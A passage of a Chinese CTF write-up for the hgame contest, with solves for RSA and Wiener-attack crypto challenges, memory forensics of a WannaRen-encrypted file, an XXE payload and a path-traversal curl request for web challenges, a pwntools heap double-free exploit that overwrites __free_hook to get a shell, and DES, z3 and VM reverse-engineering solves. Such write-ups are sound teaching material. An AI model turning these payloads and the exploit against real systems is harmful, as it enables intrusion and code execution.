c = 844677395496466411520394190869787261209960246734415406217975986418865760680024542119231873259131861208878522030009923057991526761346423130242121884493257732067700857897379859545356609151834223804262174935191718271211809221730601602827122249238086030580971376104724987801049500689134122609834321586609223761140538079460830213824674361601046367637227094018381901291488659642720549583856812747877519600804325570421770575999289389175021646347371879234023647657507178519047236746071420327155188213839293382288787853777540226192644761028822256165706787395891134765908229036044468473519166141610604791485071702808854944672418124203289328124793348198048601338476086482318248264508789781967910205393740835345086784345145351367491197717933757414967811594913692588314161669333147733048171044386546892346475181197482702164468542430187885074163177843285948999943328049159021873821254267471067523609151007885131921896462161216356454116929796355815756642621369974260365378070336290542971599886325232821981080341858950609157813769416455337935096696635623426418166316737131174435618543058086342714723330814586496030805366321181723292731710369013923285787724941830672247377301048663929453294620044701627159066468762709113137517559435822623284148112827473010030736329596829357275518641576798298066541516764673029908084962144713
phi = (p ** 2 - p) * (q ** 3 - q ** 2) * (r ** 5 - r ** 4) * (s ** 7 - s ** 6)
d = invert(e, phi)
print(n2s(pow(c, int(d), n)))

[Crypto]RSA Attack 3

By S1eepy

维纳攻击,github 上找个脚本解出 d 即可

https://github.com/pablocelayes/rsa-wiener-attack

from libnum import n2s
n = 507419170088344932990702256911694788408493968749527614421614568612944144764889717229444020813658893362983714454159980719026366361318789415279417172858536381938870379267670180128174798344744371725609827872339512302232610590888649555446972990419313445687852636305518801236132032618350847705234643521557851434711389664130274468354405273873218264222293858509477860634889001898462547712800153111774564939279190835857445378261920532206352364005840238252284065587291779196975457288580812526597185332036342330147250312262816994625317482869849388424397437470502449815132000588425028055964432298176942124697105509057090546600330760364385753313923003549670107599757996810939165300581847068233156887269181096893089415302163770884312255957584660964506028002922164767453287973102961910781312351686488047510932997937700597992705557881172640175117476017503918294534205898046483981707558521558992058512940087192655700351675718815723840568640509355338482631416345193176708501897458649841539192993142790402734898948352382350766125000186026261167277014748183012844440603384989647664190074853086693408529737767147592432979469020671772152652865219092597717869942730499507426269170189547020660681363276871874469322437194397171763927907099922324375991793759
e = 77310199867448677782081572109343472783781135641712597643597122591443011229091533516758925238949755491395489408922437493670252550920826641442189683907973926843505436730014899918587477913032286153545247063493885982941194996251799882984145155733050069564485120660716110828110738784644223519725613280140006783618393995138076030616463398284819550627612102010214315235269945251741407899692274978642663650687157736417831290404871181902463904311095448368498432147292938825418930527188720696497596867575843476810225152659244529481480993843168383016583068747733118703000287423374094051895724494193455175131120243097065270804457787026492578916584536863548445813916819417857064037664101684455000184987531252344582899589746272173970083733130106407810619258077266603898529285634495710846838011858287024329514491058790557305041389614650730267774482954666726949886313386881066593946789460028399523245777171320319444673551268379126203862576627540177888290265714418064334752499940587750374552330008143708562065940245637685833371348603338834447212248648869514585047871442060412622164276894766238383894693759347590977926306581080390685360615407766600573527565016914830132066428454738135380178959590692145577418811677639050929791996313180297924833690095
c = 165251729917394529793163344300848992394021337429474789711805041655116845722480301677817165053253655027459227404782607373107477419083333844871948673626672704233977397989843349633720167495862807995411682262559392496273163155214888276398332204954185252030616473235814999366132031184631541209554169938146205402400412307638567132128690379079483633171535375278689326189057930259534983374296873110199636558962144635514392282351103900375366360933088605794654279480277782805401749872568584335215630740265944133347038070337891035560658434763924576508969938866566235926587685108811154229747423410476421860059769485356567301897413767088823807510568561254627099309752215808220067495561412081320541540679503218232020279947159175547517811501280846596226165148013762293861131544331444165070186672186027410082671602892508739473724143698396105392623164025712124329254933353509384748403154342322725203183050328143736631333990445537119855865348221215277608372952942702104088940952142851523651639574409075484106857403651453121036577767672430612728022444370874223001778580387635197325043524719396707713385963432915855227152371800527536048555551237729690663544828830627192867570345853910196397851763591543484023134551876591248557980182981967782409054277224
d = 13094612077654083919
print(n2s(pow(c, d, n)))
# hgame{dO|YOU:kNOw!tHE*PRINcIplE*bEhInd%WInNEr#aTTacK}

[Misc]卡中毒

By NULLPointer

题目给出了一个 raw 文件,提示本题考查内存审计的知识点。使用内存审计工具 volativity 查看文件信息。

首先查看系统配置,使用指令 imageinfo 指令查看系统文件,发现主系统为 Win7SP1x64。

随后使用 pslist 和 filescan 指令查看运行程序和系统文件,为加快扫描速度只提取 flag 等关键词,发现名为 flag.txt.txt.7z 和 flag.txt.txt.WannaRen 的文件。

使用 dumpfiles 指令提取文件,用 HexEditor 扫描无异常,打开 flag.txt.txt.WannaRen 文件发现内容被加密,无法阅读。查阅相关资料得知系统感染了 WannaRen 病毒导致系统内部存储文件被加密。WannaRen 使用 RC4 和 RSA 的混合加密模式,加密后的文件名会被修改为 WannaRen,只能使用对应的 RSA 私钥解密,无法被暴力破解。目前已有针对该病毒的解密工具,下载解密工具并按照操作流程解密得到 flag.txt.txt 文件。

文件内容使用新与佛论禅加密,使用解密网站 http://hi.pcmoe.net/buddha.html 解密即可得到flag。

week4

[Web]Comment

By SSGSS

代码中允许引入外部实体,libxml_disable_entity_loader(false);

协议过滤的比较死,但是能通过 compress.zlib:// 这个协议拿到 /etc/passwd 这种,但是还是拿不到源码,因为源码里有 php。

于是利用 data 协议的输入流,将输入流 base64,将外部实体导入到 <sender> 当中,绕过 waf。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "data://text/plain;base64,YWRtaW4=" >]>
<comment><sender>&xxe;</sender><content></content>sb</comment>

pil1ow 师傅的做法非预期了,用 html 实体编码绕,不用引入外部实体。

<comment><sender>&#97;&#100;&#109;&#105;&#110;</sender><content>sb</content></comment>

好文章:

XXE - XEE - XML External Entity - HackTricks

[Web]FileSystem

By SSGSS

$ curl --path-as-is -X CONNECT http://1e4c3338e4.filesystem.hgame.homeboyc.cn/main.go/../there_may_be_a_flag
hgame{79f33a8b9913e797c56375c6a78865dc439578f70d572b9a402f1ad57f7eb856}

[Pwn]vector

By triplewings

  • 了解 vector 的申请原理,制造 double_free
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process("./vector")
# p = remote("chuj.top", 51445)
libc = ELF("./libc.so.6")

# def proof(y):
#     may = string.ascii_letters+string.digits
#     for i in may:
#         for j in may:
#             for k in may:
#                 for l in may:
#                     res = i +j +k +l
#                     if hashlib.sha256((res).encode()).hexdigest() == y:
#                         p.sendline(res)
#                         return
#     print('Wrong!')


# p.recvuntil(b" == ")
# a = p.recvuntil(b"\n")[:-1].decode()
# print(a)
# proof(a)

def menu(i):
    p.sendlineafter(b"farewell", str(i))

def add(idx, size, content):
    menu(1)
    p.sendlineafter(b"index?", str(idx))
    p.sendlineafter(b"size?", str(size))
    p.sendafter(b"content?", content)

def show(idx):
    menu(3)
    p.sendlineafter(b"index?", str(idx))

def free(idx):
    menu(4)
    p.sendlineafter(b"index?", str(idx))

def move(f, t):
    menu(5)
    for i in range(f):
        p.sendlineafter("[1/0]\n>> ", b"0")
    p.sendlineafter("[1/0]\n>> ", b"1")
    p.sendlineafter(">>", str(t))



for i in range(8):
    add(i, 0x100, b"aaaa")

for i in range(8,10):
    add(i, 0x70, b"aaaa")

for i in range(1,8):
    free(i)

free(0)
add(0, 0x50, b'aaaaaaaa')
show(0)
libc.address = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["__malloc_hook"] - 0x170
print(hex(libc.address))

for i in range(1, 8):
    add(i, 0x70, b'aaa')

move(2, 17)
add(10, 0x70, b'idx:10')
for i in range(3, 10):
    free(i)

free(2)
free(10)
free(17)
for i in range(2, 9):
    add(i, 0x70, '\n')
add(9, 0x70, p64(libc.sym["__free_hook"]))
add(11, 0x70, b'pass\n')
add(12, 0x70, b'/bin/sh\x00\n')
add(17, 0x70, p64(libc.sym["system"]))
free(12)

gdb.attach(p)
p.interactive()

[RE]WOW

By s0uthwood

这题几乎和天堂之门没关系,主要是把密钥隐藏了,运算之后应该是 12345678,但也可以直接用 windbg 动调拿到轮密钥

通过置换函数+明显的常数特征判断是 DES,直接解密就行

网上抄了份 DES,改一改就行

solve.c

#include <stdlib.h>
#include <stdio.h>
#include "bool.h"
#include "tables.h"

void BitsCopy(bool *DatOut,bool *DatIn,int Len);

void ByteToBit(bool *DatOut,char *DatIn,int Num);
void BitToByte(char *DatOut,bool *DatIn,int Num);

void BitToHex(char *DatOut,bool *DatIn,int Num);
void HexToBit(bool *DatOut,char *DatIn,int Num);

void TablePermute(bool *DatOut,bool *DatIn,const char *Table,int Num);
void LoopMove(bool *DatIn,int Len,int Num);
void Xor(bool *DatA,bool *DatB,int Num);

void S_Change(bool DatOut[32],bool DatIn[48]);
void F_Change(bool DatIn[32],bool DatKi[48]);

void SetKey(char KeyIn[8]);
void PlayDes(char MesOut[8],char MesIn[8]);
void KickDes(char MesOut[8],char MesIn[8]);


int main() {
    char MesHex[64]={"92028926CF6497655A09A46F3A079DB14320B10556683353BB5AF969BBB23EA2"};         // 16个字符数组用于存放 64位16进制的密文
    char MyMessage[32]={0};
    
    KickDes(MyMessage,MesHex);
    KickDes(MyMessage+8,MesHex+16);
    KickDes(MyMessage+16,MesHex+32);
    KickDes(MyMessage+24,MesHex+48);
    
    printf("Deciphering Over !!:\n");
    for(int i = 0; i < 32; i++) {
        printf("%c", MyMessage[i]);
    }
    printf("\n");
    system("pause");
}

void BitsCopy(bool *DatOut,bool *DatIn,int Len) {
    for(int i=0; i < Len; i++) {
        DatOut[i] = DatIn[i];
    }
}

void ByteToBit(bool *DatOut,char *DatIn,int Num) {
    for(int i = 0; i < Num; i++) {
        DatOut[i] = (DatIn[i / 8] >> (i % 8)) & 0x01;   
    }
}

void BitToByte(char *DatOut,bool *DatIn,int Num) {
    for(int i = 0; i < (Num / 8); i++) {
        DatOut[i] = 0;
    }
    for(int i = 0; i < Num; i++) {
        DatOut[i / 8] |= DatIn[i] << (i % 8);    
    }
}

void BitToHex(char *DatOut,bool *DatIn,int Num) {
    int i;
    for(i = 0; i < Num / 4; i++) {
        DatOut[i] = 0;
    }
    for(i = 0; i < Num / 4; i++) {
        DatOut[i] = DatIn[i * 4] + (DatIn[i * 4 + 1] << 1)
                    + (DatIn[i * 4 + 2] << 2) + (DatIn[i * 4 + 3] << 3);
        if((DatOut[i] % 16) > 9) {
            DatOut[i] = DatOut[i] % 16 + '7';
        }
        else {
            DatOut[i] = DatOut[i] % 16 + '0';
        }
    }
}

void HexToBit(bool *DatOut,char *DatIn,int Num) {
    for(int i = 0; i < Num; i++) {
        if((DatIn[i / 4]) > '9') {
            DatOut[i] = ((DatIn[i / 4] - '7') >> (i % 4)) & 0x01;               
        }
        else {
            DatOut[i] = ((DatIn[i / 4] - '0') >> (i % 4)) & 0x01;
        }
    }
}

void TablePermute(bool *DatOut,bool *DatIn,const char *Table,int Num) {
    static bool Temp[256] = {0};
    for(int i = 0; i < Num; i++) {
        Temp[i] = DatIn[Table[i] - 1];
    }
    BitsCopy(DatOut, Temp, Num);
} 

void LoopMove(bool *DatIn,int Len,int Num) {
    static bool Temp[256]={0};
    BitsCopy(Temp,DatIn,Num);
    BitsCopy(DatIn,DatIn+Num,Len-Num);
    BitsCopy(DatIn+Len-Num,Temp,Num);
}

void Xor(bool *DatA,bool *DatB,int Num) {
    for(int i = 0; i < Num; i++) {
        DatA[i] = DatA[i] ^ DatB[i];
    }
}

void S_Change(bool DatOut[32],bool DatIn[48]) {
    int i,X,Y;
    for(i = 0, Y = 0, X = 0; i < 8; i++, DatIn += 6, DatOut += 4) {
        Y=(DatIn[0] << 1) + DatIn[5];
        X=(DatIn[1] << 3) + (DatIn[2] << 2) + (DatIn[3] << 1) + DatIn[4];
        int v9 = S_Box[i][Y][X];
        for(int j = 3; j >= 0; j--) {
            DatOut[j] = v9 % 2;
            v9 /= 2;   
        }         
    }
}

void F_Change(bool DatIn[32],bool DatKi[48]) {
    static bool MiR[48]={0};
    TablePermute(MiR,DatIn,E_Table,48);
    Xor(MiR,DatKi,48);
    S_Change(DatIn,MiR);
    TablePermute(DatIn,DatIn,P_Table,32);
}

void SetKey(char KeyIn[8]) {
    static bool KeyBit[64] = {0};
    static bool *KiL = &KeyBit[0], *KiR = &KeyBit[28];
    ByteToBit(KeyBit, KeyIn, 64);
    TablePermute(KeyBit, KeyBit, PC1_Table, 56);
    for(int i = 0; i < 16; i++) {
        LoopMove(KiL, 28, Move_Table[i]);
        LoopMove(KiR, 28, Move_Table[i]);
        TablePermute(SubKey[i], KeyBit, PC2_Table, 48); 
    }        
}

void PlayDes(char MesOut[8],char MesIn[8]) {
    int i;
    static bool MesBit[64] = {0};
    static bool Temp[32] = {0};
    static bool *MiL = &MesBit[0], *MiR = &MesBit[32];
    ByteToBit(MesBit, MesIn, 64);
    TablePermute(MesBit, MesBit, IP_Table, 64);
    for (i = 0; i < 64; i++) {
        printf("%d ", MesBit[i]);
    }
    printf("\n");
    for(i = 0; i < 16; i++) {
        BitsCopy(Temp, MiR, 32);
        F_Change(MiR, SubKey[i]);
        Xor(MiR, MiL, 32);
        BitsCopy(MiL, Temp, 32);
        for (int j = 0; j < 64; j++){
            printf("%d ", MesBit[j]);
        }
        printf("\n");
    }
    for(i = 0; i < 32; i++) {
        int tmp = MesBit[i];
        MesBit[i] = MesBit[i + 32];
        MesBit[i + 32] = tmp;
    }
    TablePermute(MesBit, MesBit, IPR_Table, 64);
    for (i = 0; i < 64; i++){
        printf("%d ", MesBit[i]);
    }
    BitToHex(MesOut,MesBit,64);
}

void KickDes(char MesOut[8],char MesIn[8]) {
    int i;
    static bool MesBit[64] = {0};
    static bool Temp[32] = {0};
    static bool *MiL = &MesBit[0], *MiR = &MesBit[32];
    HexToBit(MesBit, MesIn, 64);
    TablePermute(MesBit, MesBit, IP_Table, 64);
    for (i = 0; i < 32; i++) {
        int tmp = MesBit[i];
        MesBit[i] = MesBit[i + 32];
        MesBit[i + 32] = tmp;
    }
    for(i = 15; i >= 0; i--) {
        BitsCopy(Temp, MiL, 32);
        F_Change(MiL, SubKey[i]);
        Xor(MiL, MiR, 32);
        BitsCopy(MiR, Temp, 32);
    }    
    TablePermute(MesBit, MesBit, IPR_Table, 64);
    for (i = 0; i < 64; i++){
        printf("%d ", MesBit[i]);
    }
    BitToByte(MesOut, MesBit, 64);        
}

bool.h,我的评价是不如直接上 c++

#ifndef __BOOL_H__
#define __BOOL_H__

typedef enum
  {
    false = 0,
    true  = 1
  } bool;

#endif

tables.h,之前找到的文件有几处与题目中不同,不知道是作者写错了还是题目改数了,直接把算好的 subkey 填到这里,就不用再输入密钥算了

#ifndef _TABLES_H_
#define _TABLES_H_  

const char IP_Table[64]={             
	58,50,42,34,26,18,10, 2,60,52,44,36,28,20,12, 4,
	62,54,46,38,30,22,14, 6,64,56,48,40,32,24,16, 8,
	57,49,41,33,25,17, 9, 1,59,51,43,35,27,19,11, 3,
	61,53,45,37,29,21,13, 5,63,55,47,39,31,23,15, 7 
};

const char IPR_Table[64]={              
	40, 8,48,16,56,24,64,32,39, 7,47,15,55,23,63,31,
	38, 6,46,14,54,22,62,30,37, 5,45,13,53,21,61,29,
	36, 4,44,12,52,20,60,28,35, 3,43,11,51,19,59,27,
	34, 2,42,10,50,18,58,26,33, 1,41, 9,49,17,57,25	
};

static char E_Table[48]={
	32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9,
	 8, 9,10,11,12,13,12,13,14,15,16,17,
    16,17,18,19,20,21,20,21,22,23,24,25,
    24,25,26,27,28,29,28,29,30,31,32, 1
};

static char PC1_Table[56]={
	57,49,41,33,25,17, 9, 1,58,50,42,34,26,18,
	10, 2,59,51,43,35,27,19,11, 3,60,52,44,36,
	63,55,47,39,31,23,15, 7,62,54,46,38,30,22,
	14, 6,61,53,45,37,29,21,13, 5,28,20,12, 4
};

static char Move_Table[16]={
	 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
};

static char PC2_Table[48]={
	14,17,11,24, 1, 5, 3,28,15, 6,21,10,
	23,19,12, 4,26, 8,16, 7,27,20,13, 2,
	41,52,31,37,47,55,30,40,51,45,33,48,
	44,49,39,56,34,53,46,42,50,36,29,32	
};

static char S_Box[8][4][16]={
	//S1
	14, 4,13, 1, 2,15,11, 8, 3,10, 6,12, 5, 9, 0, 7,
	 0,15, 7, 4,14, 2,13, 1,10, 6,12,11, 9, 5, 3, 8,
	 4, 1,14, 8,13, 6, 2,11,15,12, 9, 7, 3,10, 5, 0,
	15,12, 8, 2, 4, 9, 1, 7, 5,11, 3,14,10, 0, 6,13,
	//S2
	15, 1, 8,14, 6,11, 3, 4, 9, 7, 2,13,12, 0, 5,10,
	 3,13, 4, 7,15, 2, 8,14,12, 0, 1,10, 6, 9,11, 5,
	 0,14, 7,11,10, 4,13, 1, 5, 8,12, 6, 9, 3, 2,15,
	13, 8,10, 1, 3,15, 4, 2,11, 6, 7,12, 0, 5,14, 9,
	//S3
	10, 0, 9,14, 6, 3,15, 5, 1,13,12, 7,11, 4, 2, 8,
	13, 7, 0, 9, 3, 4, 6,10, 2, 8, 5,14,12,11,15, 1,
	13, 6, 4, 9, 8,15, 3, 0,11, 1, 2,12, 5,10,14, 7,
	 1,10,13, 0, 6, 9, 8, 7, 4,15,14, 3,11, 5, 2,12,
	//S4
	 7,13,14, 3, 0, 6, 9,10, 1, 2, 8, 5,11,12, 4,15,
	13, 8,11, 5, 6,15, 0, 3, 4, 7, 2,12, 1,10,14, 9,
	10, 6, 9, 0,12,11, 7,13,15, 1, 3,14, 5, 2, 8, 4,
	 3,15, 0, 6,10, 1,13, 8, 9, 4, 5,11,12, 7, 2,14,
	//S5
	 2,12, 4, 1, 7,10,11, 6, 8, 5, 3,15,13, 0,14, 9,
	14,11, 2,12, 4, 7,13, 1, 5, 0,15,10, 3, 9, 8, 6,
	 4, 2, 1,11,10,13, 7, 8,15, 9,12, 5, 6, 3, 0,14,
	11, 8,12, 7, 1,14, 2,13, 6,15, 0, 9,10, 4, 5, 3,
	//S6
	12, 1,10,15, 9, 2, 6, 8, 0,13, 3, 4,14, 7, 5,11,
	10,15, 4, 2, 7,12, 9, 5, 6, 1,13,14, 0,11, 3, 8,
	 9,14,15, 5, 2, 8,12, 3, 7, 0, 4,10, 1,13,11, 6,
   	 4, 3, 2,12, 9, 5,15,10,11,14, 1, 7, 6, 0, 8,13,
	//S7
	 4,11, 2,14,15, 0, 8,13, 3,12, 9, 7, 5,10, 6, 1,
	13, 0,11, 7, 4, 9, 1,10,14, 3, 5,12, 2,15, 8, 6,
	 1, 4,11,13,12, 3, 7,14,10,15, 6, 8, 0, 5, 9, 2,
	 6,11,13, 8, 1, 4,10, 7, 9, 5, 0,15,14, 2, 3,12,
	//S8
	13, 2, 8, 4, 6,15,11, 1,10, 9, 3,14, 5, 0,12, 7,
	 1,15,13, 8,10, 3, 7, 4,12, 5, 6,11, 0,14, 9, 2,
	 7,11, 4, 1, 9,12,14, 2, 0, 6,10,13,15, 3, 5, 8,
	 2, 1,14, 7, 4,10, 8,13,15,12, 9, 0, 3, 5, 6,11
};

static char P_Table[32]={
	16, 7,20,21,29,12,28,17, 1,15,23,26, 5,18,31,10,
	 2, 8,24,14,32,27, 3, 9,19,13,30, 6,22,11, 4,25
};

static bool SubKey[16][48]={
	1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0,
	0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1,
	1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0,
	
	0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1,
	0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1,
	0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0,
	
	1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1,
	1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1,
	0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0,
	
	1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1,
	1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1,
	0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1,
	
	0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0,
	1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1,
	0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1,
	
	0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1,
	1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1,
	0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1,
	
	0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0,
	1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1,
	0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1,
	
	0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1,
	0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0,
	1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1,
	
	0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1,
	0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0,
	1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1,
	
	0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1,
	1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0,
	1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1,
	
	0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0,
	0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0,
	1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1,
	
	0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1,
	1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0,
	1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0,
	
	0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0,
	1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0,
	1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0,
	
	1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0,
	0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1,
	1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0,
	
	0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0,
	1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1,
	1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0,
	
	1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1,
	0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1,
	1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0
};

#endif

[RE]server

By s0uthwood

下断点,浏览器输入 localhost:9090?flag=hgame{} 就能断住,然后就是慢慢调试了

rsa 部分用的 math/big 库中的东西,还是比较容易识别的(go 还是看汇编舒服)

随后就是两个循环的异或了,这里用 z3 解的,所以逻辑直接看代码就行

from libnum import *
from z3 import *

flag = [BitVec('f%i' % i, 8) for i in range(153)]
s = Solver()

c = 0x66
flag2 = []
for i in range(153):
    v16 = flag[i]
    flag2.append(v16 ^ c)
    c = v16

for i in range(153):
    v18 = flag2[i]
    flag2[i] = v18 ^ c
    c = v18

cipher = [
    99, 85, 4, 3, 5, 5, 5, 3, 7, 7, 2, 8, 8, 11, 1, 2, 10, 4, 2, 13, 
    8, 9, 12, 9, 4, 13, 8, 0, 14, 0, 15, 13, 14, 10, 2, 2, 1, 7, 3, 
    5, 6, 4, 6, 7, 6, 2, 2, 5, 3, 3, 9, 6, 0, 11, 13, 11, 0, 2, 3, 8, 
    3, 11, 7, 1, 11, 5, 14, 5, 0, 10, 14, 15, 13, 7, 13, 7, 14, 1, 15,
    1, 11, 5, 6, 2, 12, 6, 10, 4, 1, 7, 4, 2, 6, 3, 6, 12, 5, 12, 3, 
    12, 6, 0, 4, 15, 2, 14, 7, 0, 14, 14, 12, 4, 3, 4, 2, 0, 0, 2, 6,
    2, 3, 6, 4, 4, 4, 7, 1, 2, 3, 9, 2, 12, 8, 1, 12, 3, 12, 2, 0, 3, 
    14, 3, 14, 12, 9, 1, 7, 15, 5, 7, 2, 2, 4
]

for i in range(153):
    s.add(flag2[i] == cipher[i])

for i in range(153):
    s.add(flag[i] >= ord('0'))
    s.add(flag[i] <= ord('9'))

s.check()
m = s.model()
for i in flag:
    print (chr(m[i].as_long()), end='')
# 135005562109829034199059149474896341566307600227148289525068532297727897409776873250963225670468340868270979975367474527115512003915945795967599087720024

M = 92582184765240663364795767694262273105045150785272129481762171937885924776597
N = 107310528658039985708896636559112400334262005367649176746429531274300859498993

t = M * N
e = 950501
phi = (M - 1) * (N - 1)

n2s(pow(135005562109829034199059149474896341566307600227148289525068532297727897409776873250963225670468340868270979975367474527115512003915945795967599087720024, invmod(e, phi), t))
# b'hgame{g0_and_g0_http_5erv3r_nb}'

[RE]ezvm

By s0uthwood

把几个指令整理一下

能够看出特定用途的几个寄存器:

[8]: ZF 相等为 0,大于为 1,小于为 -1 [9]: stack [9 + 100]: code [9 + 200]: data

其他的应该都是 rax 之类的

总结的几个指令:

op disasm
0 mov r3, r2
1 inc r2
2 dec r2
3 xor r3, r7
4 push r3
5 push r5
6 push r6
7 pop r3
8 pop r5
9 pop r6
10 pop r2
11 pop r7
12 jz $+1+r6
13 jnz $+1+r6
14 jmp $+1+r2
15 cmp r3, r5
16 getchar(r3)
17 putchar(r3)
18 push *((r4++)+0xD1)
19 mov r3, [rbp+r2]
20 mov [rbp+r2], r3
21 add r3, r3

接下来就是反汇编了

code = [
    0x12, 8, 0x12, 9, 0x10, 4, 1, 0x0F, 
    0x0D, 2, 0x12, 8, 0x12, 9, 0, 4, 0x0F, 0x0D,
    0x12, 9, 0x12, 0x0A, 0x13, 0x12, 0x0B, 0x15, 
    3, 0x14, 1, 0, 0x0F, 0x0D, 0x12, 0x0A,
    0x12, 0x12, 0x12, 8, 0x13, 0x0F, 7, 4, 9, 
    0x0D, 9, 8, 5, 6, 4, 1, 0, 0x0F,
    0x0D, 0x12, 9, 0x12, 8, 0x12, 0x0A, 
    0x12, 7, 0x0F, 0x0C, 0x11, 0x0E
]

def disasm(i, c):
    if c == 0:
        print ("_%02X:\t" % i + "mov [3], [2]")
    elif c == 1:
        print ("_%02X:\t" % i + "inc [2]")
    elif c == 2:
        print ("_%02X:\t" % i + "dec [2]")
    elif c == 3:
        print ("_%02X:\t" % i + "xor [3], [7]")
    elif c == 4:
        print ("_%02X:\t" % i + "push [3]")
    elif c == 5:
        print ("_%02X:\t" % i + "push [5]")
    elif c == 6:
        print ("_%02X:\t" % i + "push [6]")
    elif c == 7:
        print ("_%02X:\t" % i + "pop [3]")
    elif c == 8:
        print ("_%02X:\t" % i + "pop [5]")
    elif c == 9:
        print ("_%02X:\t" % i + "pop [6]")
    elif c == 10:
        print ("_%02X:\t" % i + "pop [2]")
    elif c == 11:
        print ("_%02X:\t" % i + "pop [7]")
    elif c == 12:
        print ("_%02X:\t" % i + "jz $+1+[6]")
    elif c == 13:
        print ("_%02X:\t" % i + "jnz $+1+[6]")
    elif c == 14:
        print ("_%02X:\t" % i + "jmp $+1+[2]")
    elif c == 15:
        print ("_%02X:\t" % i + "cmp [3], [5]")
    elif c == 16:
        print ("_%02X:\t" % i + "getchar([3])")
    elif c == 17:
        print ("_%02X:\t" % i + "putchar([3])")
    elif c == 18:
        print ("_%02X:\t" % i + "push *(([4]++)+0xD1)")
    elif c == 19:
        print ("_%02X:\t" % i + "mov [3], [rbp+[2]]")
    elif c == 20:
        print ("_%02X:\t" % i + "mov [rbp+[2]], [3]")
    elif c == 21:
        print ("_%02X:\t" % i + "add [3], [3]")

也许跟着 log 一起看比较好,这里就直接对着 data 里的数据看了

_00:    push 0x0A
_01:    pop [5]
_02:    push -5
_03:    pop [6]

_04:    getchar([3])
_05:    push [3]
_06:    inc [2]
_07:    cmp [3], [5]
_08:    jnz $+1+[6]
_09:    dec [2]

这个 jnz 的循环是 getchar() 直到读取到 \n

接下来是个对长度做了限制

_0A:    push 0x20
_0B:    pop [5]
_0C:    push 0x2F
_0D:    pop [6]
_0E:    mov [3], [2]
_0F:    push [3]
_10:    cmp [3], [5]
_11:    jnz $+1+[6]

这里先 add 自身,然后依次异或 data 中的数据(第一个是 0x5e)

_12:    push -10
_13:    pop [6]
_14:    push 0
_15:    pop [2]
_16:    mov [3], [rbp+[2]]
_17:    push 0x5e (next_mem)
_18:    pop [7]
_19:    add [3], [3]
_1A:    xor [3], [7]
_1B:    mov [rbp+[2]], [3]
